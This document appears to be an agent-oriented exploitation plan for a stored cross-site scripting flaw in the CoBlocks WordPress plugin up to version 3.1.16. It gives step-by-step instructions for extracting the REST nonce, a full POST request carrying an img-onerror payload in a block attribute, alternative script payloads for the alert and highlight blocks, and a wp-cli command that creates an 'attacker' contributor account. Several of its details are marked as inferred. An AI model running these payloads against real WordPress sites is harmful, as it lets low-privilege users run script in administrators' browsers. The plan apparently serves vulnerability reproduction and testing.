Page Builder Gutenberg Blocks – CoBlocks <= 3.1.16 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan targets CVE-2026-27094, a Stored Cross-Site Scripting (XSS) vulnerability in the CoBlocks plugin (<= 3.1.16). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into posts via Gutenberg block attributes.

---

1. Vulnerability Summary

The vulnerability exists because the plugin fails to sanitize or escape block attributes during server-side rendering. Gutenberg blocks store their settings (attributes) as JSON within HTML comments in the post_content. When the post is rendered, the plugin's PHP render_callback for specific blocks retrieves these attributes and echoes them directly into the page. A Contributor, who can create posts but not publish them, can inject a payload into these attributes that will execute in the browser of any user (including an Administrator) who previews or views the post.

2. Attack Vector Analysis

• Endpoint: WordPress REST API Post endpoint: /wp-json/wp/v2/posts/
• Vulnerable Parameter: content (specifically the JSON attributes within a CoBlocks block comment).
• Required Authentication: Contributor level (PR:L).
• Vulnerable Block (Inferred): Historically, "Accordion" (coblocks/accordion-item) or "Alert" (coblocks/alert) blocks in CoBlocks have lacked escaping in their title or message attributes.
• Payload Location: Inside the JSON-encoded attribute string within the post_content.

3. Code Flow

1. Entry Point: An authenticated user submits a request to update or create a post via the REST API or the Block Editor.
2. Storage: WordPress saves the post_content to the wp_posts table. The payload is stored in a format like:
   <!-- wp:coblocks/accordion-item {"title":"<img src=x onerror=alert(1)>"} -->
3. Execution (Sink):
   • When the post is rendered on the frontend or in the editor, the render_block() function calls the plugin's render_callback (likely found in src/blocks/accordion-item/index.php or similar).
   • The callback extracts the title attribute.
   • The callback echoes the attribute without using esc_html() or wp_kses().
   • The browser executes the JavaScript in the onerror handler or <script> tag.

4. Nonce Acquisition Strategy

To exploit this via the REST API (the most reliable automated method), a wp_rest nonce is required.

1. Login: Use the agent's credentials to log in as a Contributor.
2. Navigate: Use browser_navigate to go to /wp-admin/post-new.php.
3. Extract: In the browser context, WordPress exposes the REST nonce via the wpApiSettings object.
4. Action: Use browser_eval to retrieve it:

   window.wpApiSettings.nonce
   

   Note: This nonce is specific to the wp_rest action and tied to the Contributor's session.

5. Exploitation Strategy

This plan uses the REST API to create a post containing the XSS payload.

1. Step 1: Authenticate and Obtain Nonce

   • Log in to the WordPress dashboard as a Contributor.
   • Navigate to /wp-admin/.
   • Run browser_eval("wpApiSettings.nonce") to get the X-WP-Nonce.

2. Step 2: Identify Target Block (Inferred)

   • Search the plugin directory for blocks with PHP render callbacks:
     grep -r "render_callback" wp-content/plugins/coblocks
   • Identify which block uses attributes in its output without escaping. For this plan, we will target the coblocks/accordion-item block (inferred).

3. Step 3: Submit Malicious Post

   • Method: POST
   • URL: http://localhost:8080/wp-json/wp/v2/posts
   • Headers:
     • Content-Type: application/json
     • X-WP-Nonce: [EXTRACTED_NONCE]
   • Body:

     {
       "title": "XSS Test Post",
       "status": "pending",
       "content": "<!-- wp:coblocks/accordion-item {\"title\":\"XSS Check <img src=x onerror=alert(document.domain)>\"} /-->"
     }
     

4. Step 4: Trigger Execution

   • The response will contain the id of the new post and its link.
   • Navigate to the post URL provided in the JSON response using browser_navigate.

6. Test Data Setup

• User: Create a user with the contributor role.

  wp user create attacker attacker@example.com --role=contributor --user_pass=password
  

• Plugin: Ensure CoBlocks version 3.1.16 is installed and active.

7. Expected Results

• The REST API should return a 201 Created status code.
• Upon navigating to the post URL, the browser should trigger an alert box showing the document domain, confirming the script executed.

8. Verification Steps

1. Verify Content in Database:
   Check if the payload is stored verbatim in the database:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post' LIMIT 1;"
   

2. Verify Rendering:
   Use http_request to fetch the post HTML and check for the unescaped payload:

   # Look for the unescaped <img> tag in the response body
   grep "onerror=alert" 
   

9. Alternative Approaches

• Block: Alert: If the Accordion block is patched or not the primary sink, try the Alert block:
  <!-- wp:coblocks/alert {"message":"<script>alert(1)</script>"} /-->
• Block: Highlight: Some plugins fail to escape colors or CSS attributes. Try injecting into a "style" related attribute:
  <!-- wp:coblocks/highlight {"customColor":"\"><script>alert(1)</script>"} /-->
• Gutenberg Editor Injection: Instead of the REST API, use browser_click and browser_type to manually add a CoBlocks block in the /wp-admin/post-new.php editor and paste the payload into the block's settings sidebar.